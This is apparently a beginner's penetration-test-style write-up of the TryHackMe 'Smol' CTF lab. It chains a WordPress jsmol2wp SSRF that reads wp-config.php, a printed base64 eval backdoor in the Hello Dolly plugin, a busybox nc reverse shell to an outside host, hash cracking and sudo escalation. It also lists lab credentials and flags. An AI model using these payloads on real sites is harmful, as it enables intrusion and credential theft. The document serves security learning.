Penetration Testing Report

TryHackMe - Smol

Prepared by

Ambar Roy

Freelance Beginner Pentester

Contact: ambarroy11@gmail.com

Report date: October 24, 2025

Engagement Type: CTF / Practice Lab
Platform: TryHackMe
Objective: Identify vulnerabilities, exploit the machine, and capture flags.

Contents

Executive Summary

This penetration testing assessment targeted the TryHackMe virtual machine *Smol*. The goal was to enumerate exposed services, exploit potential vulnerabilities, gain system access, and capture both user and root flags.

The initial scan revealed SSH and an Apache web server hosting a WordPress instance that redirected to a virtual hostname. Enumeration exposed a vulnerable WordPress plugin (`jsmol2wp`) allowing SSRF and XSS, which was leveraged to obtain database credentials. Further analysis uncovered a backdoored plugin (`Hello Dolly`) granting remote code execution. Database credentials and user enumeration facilitated lateral movement and privilege escalation, ultimately leading to full root compromise.

Summary of Results:

- Open services: SSH (22), HTTP (80).
- CMS: WordPress 6.7.1 running on Apache 2.4.41 (Ubuntu).
- Vulnerabilities exploited:
  - WordPress plugin SSRF and XSS.
  - Hidden PHP RCE via Hello Dolly plugin.
  - Reused and weak credentials in MySQL and WordPress users.
- Gained user and root flags successfully.

Outcome: Complete system compromise achieved through chained web application and privilege escalation attacks.

Severity: Critical.

1 Scope and Rules of Engagement

Scope

- Target: `Smol` Virtual Machine (TryHackMe)
- Target IP: `10.201.121.191`
- Objective: Obtain user and root flags; document vulnerabilities, exploitation process, and mitigations.

Rules of Engagement

- Testing limited strictly to TryHackMe's isolated lab environment.
- No denial-of-service, destructive testing, or data tampering.
- Only authorized enumeration and exploitation were conducted.

2 Methodology

The engagement followed the standard penetration testing phases:

1. **Reconnaissance:** Host discovery and initial network scanning.
2. **Enumeration:** Service analysis, CMS fingerprinting, and directory discovery.

3. **Vulnerability Analysis:** Plugin and configuration weaknesses.
4. **Exploitation:** Gaining foothold via SSRF and RCE.
5. **Privilege Escalation:** Database access, credential reuse, and sudo misconfiguration.

Tools Used

- `nmap` — Network and service discovery.
- `gobuster` — Directory enumeration.
- `wpscan` — WordPress vulnerability enumeration.
- `john` — Password hash cracking.
- `netcat` — Reverse shell connection.
- `mysql` — Database inspection and credential extraction.

3 Findings

1. Initial Network Scan and Host Discovery

Command:

```
nmap -A 10.201.121.191
```

Results:

```
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://www.smol.thm
```

The web service redirected to a virtual host. To access it, the following entry was added:

```
echo "10.201.121.191␣www.smol.thm" >> /etc/hosts
```

A follow-up scan confirmed the WordPress installation:

```
|_http-generator: WordPress 6.7.1
|_http-title: AnotherCTF
```

Impact: Potential exploitation of known WordPress vulnerabilities.

2. Directory Enumeration

Command:

```
gobuster dir -u http://www.smol.thm \
  -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100
```

Results:

```
/wp-content
/wp-includes
/wp-admin
/server-status (403 Forbidden)
```

Impact: Exposed default WordPress directories confirmed CMS presence. The restricted `/server-status` indicates Apache mod_status enabled.

Mitigation: Restrict directory access and disable public `/server-status` endpoint.

3. WordPress Vulnerability Enumeration

Command:

```
wpscan --url www.smol.thm --api-token <token>
```

Findings:

- WordPress version: 6.7.1 (vulnerable to DOM-based XSS).
- Plugin detected: `jsmol2wp 1.07`.

The plugin `jsmol2wp` had publicly known vulnerabilities:

- Unauthenticated XSS.
- Unauthenticated SSRF.

Exploit used:

```
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=
    ↪ true&call=getRawDataFromDatabase&query=php://filter/resource
    ↪ =../../../../wp-config.php
```

Extracted credentials:

```
DB_USER: wpuser
DB_PASSWORD: kbLSF2Vop#lw3rjDZ629*Z%G
```

4. Remote Code Execution via Hello Dolly Plugin

Inspection of the `Hello Dolly` plugin revealed a malicious backdoor:

```
eval(base64_decode('
    ↪ CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceD
    ↪ ='));
```

Decoded payload:

```
if (isset($_GET["cmd"])) { system($_GET["cmd"]); }
```

Result: Arbitrary command execution. Example:

```
http://www.smol.thm/wp-admin/edit.php?cmd=whoami
-> www-data
```

Reverse Shell:

```
http://www.smol.thm/wp-admin/edit.php?cmd=busybox nc 10.17.58.136 1234 -
    ↪ e sh
```

5. Database and Credential Extraction

Using database credentials from `wp-config.php`:

```
mysql -u wpuser -p'kbLSF2Vop#lw3rjDZ629*Z%G' -D wordpress
```

Extracted user accounts:

`admin, wpuser, think, gege, diego, xavi`

Hashes were dumped and cracked using John:

```
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

Password found:

`diego : sandiegocalifornia`

Switching user:

```
su diego
```

User flag:

`45edaec653ff9ee06236b7ce72b86963`

6. Privilege Escalation and Root Access

User `diego` was part of the `internal` group. Investigation revealed readable SSH keys for `think`, and both `think` and `gege` were in `dev`.

A password-protected archive was found:

```
wordpress.old.zip
```

It was served via a local Python HTTP server:

```
python3 -m http.server 8080
```

Password cracked with John:

`hero_gege@hotmail.com`

Extracted credentials:

`xavi : P@ssw0rdxavi@`

Privilege escalation:

```
sudo -l
User xavi may run the following commands on the system:
(ALL : ALL) ALL
```

Root flag:

`bf89ea3ea01992353aef1f576214d4e4`

4 Analysis and Mitigation

Exploitation Path Summary

1. WordPress enumeration exposed vulnerable plugin `jsmol2wp`.
2. SSRF exploit retrieved database credentials.
3. Backdoored Hello Dolly plugin allowed RCE.
4. Database dump provided user hashes.
5. Cracked credentials enabled lateral movement.
6. Sudo misconfiguration for `xavi` granted root access.

Recommendations

- Remove or update vulnerable plugins.
- Sanitize all PHP plugin inputs and disable dangerous functions.
- Enforce strong password policies and unique credentials.
- Restrict file and directory permissions.
- Regularly review `/etc/sudoers` for privilege misconfigurations.
- Implement least-privilege principles for all users.

5 Conclusion

The *Smol* machine demonstrated a realistic chained exploitation path, starting from a web application vulnerability and escalating to full system compromise. By combining plugin vulnerabilities, credential reuse, and poor privilege control, complete administrative access was achieved.

This emphasizes the importance of secure WordPress maintenance, plugin validation, and least-privilege enforcement to mitigate multi-layered attacks.

Appendices

Appendix A: Key Commands

```
nmap -A 10.201.121.191
nano /etc/hosts
gobuster dir -u http://www.smol.thm -w /usr/share/dirbuster/wordlists/
   ↪ directory-list-2.3-medium.txt -t 100
wpscan --url www.smol.thm --api-token <token>
mysql -u wpuser -p'...' -D wordpress
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
python3 -m http.server 8080
```

Appendix B: Flags Captured

User Flag: 45edaec653ff9ee06236b7ce72b86963
Root Flag: bf89ea3ea01992353aef1f576214d4e4

Appendix C: Notable Credentials

wpuser : kbLSF2Vop#lw3rjDZ629*Z%G
diego : sandiegocalifornia
xavi : P@ssw0rdxavi@